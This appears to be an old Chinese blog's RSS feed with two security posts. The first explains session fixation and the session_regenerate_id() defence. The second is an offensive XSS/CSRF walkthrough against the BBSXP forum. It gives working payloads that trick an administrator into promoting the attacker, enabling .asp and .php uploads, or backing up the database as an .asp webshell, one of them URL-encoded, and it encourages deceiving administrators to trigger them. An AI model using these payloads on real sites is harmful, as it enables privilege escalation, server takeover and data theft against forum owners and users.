<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>精東·博客 &#187; 安全</title>
	<atom:link href="http://www.wemvc.com/tag/%e5%ae%89%e5%85%a8/feed" rel="self" type="application/rss+xml" />
	<link>http://www.wemvc.com</link>
	<description>男人的胸怀是委屈撑大的。</description>
	<lastBuildDate>Sun, 29 Aug 2010 04:21:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>如何防止Session伪造攻击</title>
		<link>http://www.wemvc.com/205.html</link>
		<comments>http://www.wemvc.com/205.html#comments</comments>
		<pubDate>Sun, 17 Aug 2008 15:48:42 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[攻击]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=205</guid>
		<description><![CDATA[什么是SESSION伪造攻击:
Session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法.使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击.
任何促使受害用户使用攻击者提供的SESSION ID的方法都可以称之为SESSION伪造攻击,最简单的例子就是在一个链接中嵌入SESSION标识符:
&#60;a href=&#8221;http://www.wemvc.com/login.php?PHPSESSIONID=123123&#8243;&#62;登录&#60;/a&#62;
受害者点击了这个链接后将会把SESSION ID设置为123123.而且如果受害者在这个时候继续登录,攻击者就能够劫持他的SESSION用来提升自己的权限级别.甚至在购物类型网站中盗取他人帐户钱财.
这种攻击方法有很多变体,有一些使用COOKIES来达到自己的攻击目的,例如我在前一篇博文中写到的利用COOKIE和SESSION联用实现session跨域,那里就是用COOKIE来存储SESSION ID的,攻击者伪造COOKIE也可以变成受害者的身份去登录他的帐户.幸运的是针对这些攻击的防范,php也给了我们非常简单易懂并且通用的方法来处理.无论什么时候,只要有权限级别的改变,如果一个用户登录的时候,就用session_regenerate_id()函数来重新生成SESSION ID,无论是用POST/GET或者COOKIE方式传递SESSION ID 这个函数都适用.
代码片段:
&#38;lt;?php
if(checklogin($user_name,$password){
$_SESSION['auth'] = TRUE;
session_regenerate_id();
}
?&#38;gt;
这样可以有效的避免SESSION伪造攻击,可以确保每个用户登录时(或者有权限提升时)都被分配新的随机的SESSION ID.
]]></description>
		<wfw:commentRss>http://www.wemvc.com/205.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>详解XSS跨站脚本攻击</title>
		<link>http://www.wemvc.com/191.html</link>
		<comments>http://www.wemvc.com/191.html#comments</comments>
		<pubDate>Sun, 17 Aug 2008 13:42:23 +0000</pubDate>
		<dc:creator>精东</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[攻击]]></category>

		<guid isPermaLink="false">http://www.wemvc.com/?p=191</guid>
		<description><![CDATA[一、什么是XSS攻击
XSS又叫CSS  (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意 用户的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常呼略其危害性。
如何寻找XSS漏洞
就个人而言，我把XSS攻击分成两类，一类是来自 内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句，如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击，主 要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个有跨站漏洞的网页，然后构造跨站语 句，通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。
如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页，然后在 另一空间里放一个收集cookie的页面，接着结合其它技术让用户打开跨站页面以盗取用户的cookie，以便进一步的攻击。个人认为这种方式太过于落 后，对于弊端大家可能都知道，因为即便你收集到了cookie你也未必能进一步渗透进去，多数的cookie里面的密码都是经过加密的，如果想要 cookie欺骗的话，同样也要受到其它的条件的限约。而本文提出的另一种思路，则从一定程度上解决上述的问题。对于个人而言，比较成熟的方法是通过跨站 构造一个表单，表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。
寻找跨站漏洞
如果有代码的话比较好办，我们主要看代码里对用户输入的 地方和变量有没有做长度和对”&#60;”,”&#62;”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合，像测试QQ群跨站漏洞的时候， 你在标题处输入&#60;script&#62;alert(‘test’)&#60;/script&#62;，代码是不会被执行的，因为在源代码里，有其它的 标签未闭合，如少了一个&#60;/script&#62;，这个时候，你只要闭合一个&#60;/script&#62;，代码就会执行，如：你在标题处输 入&#60;/script&#62;&#60;script&#62;alert(‘test’)&#60;/script&#62;，这样就可以弹出一个test 的框。
如何利用
我先以BBSXP为例，过程已做成动画，详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户，我这里注册的用户是linzi.然后我们在个人签名里写入:



[img]http://127.0.0.1/bbsxp/admin_user.asp?menu=userok&#38;username=linzi&#38;membercode=5&#38;userlife=1&#38;posttopic=3&#38;money=9&#38;postrevert=0&#38;savemoney=0&#38;deltopic=1&#38;regtime=2005-9-1+1%3A1%3A1&#38;experience=9&#38;country=%D6%D0%B9%FA&#38;&#38;Submit=+%B8%FC+%D0%C2+[/img]



c.然后发个贴子，可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试，所以我们以管理员身份登陆，然后打开贴子，我们会发现，linzi已经变成了社区区长工，如图一所示
除此之外我们只要在个人签名里输入



[img]http://127.0.0.1/bbsxp/admin_setup.asp?menu=variableok&#38;clubname=+&#38;homename=+&#38;homeurl=&#38;floor=2&#38;PostTime=3&#38;Timeout=6&#38;OnlineTime=12&#38;Reg10=10&#38;style=1&#38;selectup=FSO&#38;MaxFace=10240&#38;MaxPhoto=30720&#38;MaxFile=102400&#38;UpFileGenre=gif&#124;jpg&#124;asp%20&#124;rar[/img]



同样发个贴子等，只要管理员打开了，就会加了一个扩展名为asp （有空格）的上传扩展，这个时候，你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性，虽然可以得到shell，但是隐蔽性不太好，因为签名处受到了长度的限制，不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的攻击，对于flash木马的制作，下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下:    admin_setup.asp?



menu=variableok&#38;clubname=+&#38;homename=+&#38;homeurl=&#38;floor=2&#38;PostTime=3&#38;Timeout=6&#38;OnlineTime=12&#38;Reg10=10&#38;style=1&#38;selectup=FSO&#38;MaxFace=10240&#38;MaxPhoto=30720&#38;MaxFile=102400&#38;UpFileGenre=gif&#124;jpg&#124;php&#124;rar



再接着欺骗管理员打开你的资料或者浏览你的贴子，当管理员打开后，会在后台自动加个php扩展名的后辍，因为bbsxp在个人头像url里过滤了空 格,%，所以我们只能加个不包括空格的其它扩展，当然你也可以加个shtml的扩展，有了它你就可以用来查看源代码，然后进一步攻击。
三、来自外部的跨站攻击
有的时候，当我们对于目标程序找 不到可以利用的跨站点，这个时候我们可以利用可以从外部入手，利用我们要拿下的是它的论谈，论谈的安全性做的很好，但其留言板却存在跨站漏洞，这个时候我 们可以在留言板里写入跨站语句，跨站语句为以表单的方式向论谈提交提升权限的语句，如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt，内容如下:



&#60;body onload=&#8221;javascript:document.forms[0].submit()&#8221;&#62;&#60;form
action=&#8221;http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf&#8221; method=&#8221;post&#8221;&#62;&#60;input value=&#8221;database/bbsxp.mdb&#8221; name=&#8221;yl&#8221; &#62;&#60;input value=&#8221;database/shit.asp&#8221; name=&#8221;bf&#8221; &#62;&#60;/body&#62;&#60;/html&#62;



上面的代码是把论谈的数据库备份为shit.asp，留言板存在跨站点如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:



http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E



或者构造跨站语句，利用iframe打开一个0大小的linzi.txt。
当管理员打开后，会自动备份得到一个shell.
四、XSS与其它技术的结何
从上面的实例，我们可以知道，如何欺骗管理打开是一个很重要的步骤，对于欺骗打开，除了社会工程学外，我们可以结合其它的技术，如sql injection.当我们渗透一个网站之时，主站mssql注入漏洞，权限为public,这个时候我们利用update构造跨站语句，如用 iframe打开一个上面的备份得到shell的跨站语句等，同样，我们可以在社会工程学时，利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术，具体怎么利用，大家就发挥自己的想象力吧！
]]></description>
		<wfw:commentRss>http://www.wemvc.com/191.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
